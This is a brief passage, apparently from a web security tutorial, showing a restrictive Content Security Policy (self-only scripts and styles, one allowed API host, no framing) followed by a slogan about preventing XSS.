default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
">
```
---
*Prevent XSS, protect users! 🛡️*